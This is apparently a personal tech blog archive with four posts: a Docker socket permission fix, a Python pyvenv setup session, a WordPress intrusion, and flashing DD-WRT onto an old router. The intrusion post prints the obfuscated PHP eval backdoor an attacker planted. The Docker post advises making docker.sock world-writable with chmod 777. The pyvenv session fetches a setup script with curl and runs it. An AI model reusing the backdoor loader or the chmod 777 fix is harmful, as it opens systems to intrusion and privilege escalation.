Affichage des articles dont le libellé est hack. Afficher tous les articles
Affichage des articles dont le libellé est hack. Afficher tous les articles

vendredi 16 août 2013

ubuntu docker.io : docker.sock permission denied issue #163

If you experience this :

$ docker images
2013/08/16 19:05:13 dial unix /var/run/docker.sock: permission denied


Then just use this temporary fix (as suggested here https://github.com/progrium/dokku/issues/163):
 
$ sudo chmod 777 /var/run/docker.sock

and enjoy your containers again

$ docker images
REPOSITORY          TAG                 ID                  CREATED             SIZE


(empty list because I started from scratch again)

dimanche 31 mars 2013

python 3.3 pyvenv distribute pip hackish fix

Python3.3 includes an official virtualenv helper called pyvenv. Small detail though, it's not a swap-in replacement, you need to install distribute and pip by hand (at least for now) as said in the documentation. See the Note paragraph here http://docs.python.org/dev/library/venv.html#creating-virtual-environments.

Warning: you need to re-source the venv after `easy_install pip` !
Here's a complete session:

dummy@x60s_GPT ~/dev/python3.pyvenv % pyvenv venv

dummy@x60s_GPT ~/dev/python3.pyvenv % source venv/bin

(venv)
dummy@x60s_GPT ~/dev/python3.pyvenv % curl -O http://python-distribute.org/distribute_setup.py && \python distribute_setup.py && easy_install pip

# At that point, pip won't work, re-source venv/bin/activate

(venv)
dummy@x60s_GPT ~/dev/python3.pyvenv % source venv/bin/activate


# From now on pip will work


dummy@x60s_GPT ~/dev/python3.pyvenv % pip install requests

Downloading/unpacking requests
  Running setup.py egg_info for package requests
   
Installing collected packages: requests
  Running setup.py install for requests
   
Successfully installed requests
Cleaning up...
(venv)
dummy@x60s_GPT ~/dev/python3.pyvenv % echo $?

0

samedi 12 janvier 2013

somebody's writing me -- a wordpress intrusion :1

Somebody somehow gained write access on a Wordpress based blog I'm maintaining, so he left me a gift:

function BSSV($rOPJx)
{ 
$rOPJx=gzinflate(base64_decode($rOPJx));
 for($i=0;$i<strlen($rOPJx);$i++)
 {
$rOPJx[$i] = chr(ord($rOPJx[$i])-1);
 }
 return $rOPJx;
 }eval(BSSV("U1QEAu7CpJKS0sziMs3kpJI0c9OE1LSUgtQ0TdWEELfgcLfgGM/Q0MAEFz/XOC0tG24He25uAA==000"));
?>

Pretty nifty right ? to show gratitude I made him a little ASCII drawing :
http://pastie.org/5673811


lundi 2 avril 2012

nano-hack : wrt54g v2 plus ddwrt plus ssh


$ ps
PID USER       VSZ STAT COMMAND
    1 root      1464 S    /sbin/init noinitrd 
    2 root         0 SW   [keventd]
    3 root         0 SWN  [ksoftirqd_CPU0]
    4 root         0 SW   [kswapd]
    5 root         0 SW   [bdflush]
    6 root         0 SW   [kupdated]
    9 root         0 SW   [mtdblockd]
   13 root      1500 S    watchdog 
   91 root      1460 S    resetbutton 
  141 root      1100 S    telnetd 
  160 root       808 S    dnsmasq --conf-file=/tmp/dnsmasq.conf 
  164 root      1456 S    wland 
  168 root       692 S    udhcpc -i vlan1 -p /var/run/udhcpc.pid -s /tmp/udhcpc
  172 root       692 S    cron 
  179 root      1424 S    ttraff 
  200 root      2140 S    httpd -p 80 
  381 root      1536 S    dropbear -b /tmp/loginprompt -r /tmp/root/.ssh/ssh_ho
  419 root      1456 S    process_monitor 
  572 root      1104 S    sh -c alias ping='ping -c 3'; eval "ps" > /tmp/ping.l
  573 root      1104 R    ps 
  574 root      1104 S    sh -c /sbin/ledtool 1 
  575 root      1104 R    sh -c /sbin/ledtool 1


$ uname -a
Linux DD-WRT 2.4.35 #3392 Mon Nov 2 13:19:34 CET 2009 mips unknown

That, is the output of commands using ddwrt on a wrt54g v2.

Finally tried to upgrade this old device. It uses 192.168.1.1 which collides with my actual internet gateway so I had to think (far too long) to connect to the wrt54g without stopping the gateway. Stopping my laptop's wifi and using ethernet wire between both gave me a functionning network, ping 192.168.1.1 was responding. 
I forgot that I set up https on the linksys webadmin. After uploading an almost random firmware found on ddwrt page I saw a 'upload success' but something failed. Rebooting it twice didn't bring the webadmin page back (http nor https). I could ping to the box so I tried to upload another firmware using tftp. First to attempts failed, the third printed a message saying it was cleaning nvram flash then exited. The process was a bit too quick to feel right. I consider resetting using the back button, hoping to reinitiate an upload, then I saw a webpage .. but it was ddwrt webadmin. Somehow it works now, so I fiddled with it, enabled ssh. And that's about it, what's next ?

- Adding usb ports. Nice if you use the device as a server
- Better antennas
- Heatsink
- More recent software. ddwrt last firmware uses linux 2.4 and busybox. Running 3.3 kernel and such might be fun, for the sake of it.

ps: A+ on the hackability of this thing. The case has no screw, just stiff surface bumps that hold the board into a two part case. Really nice.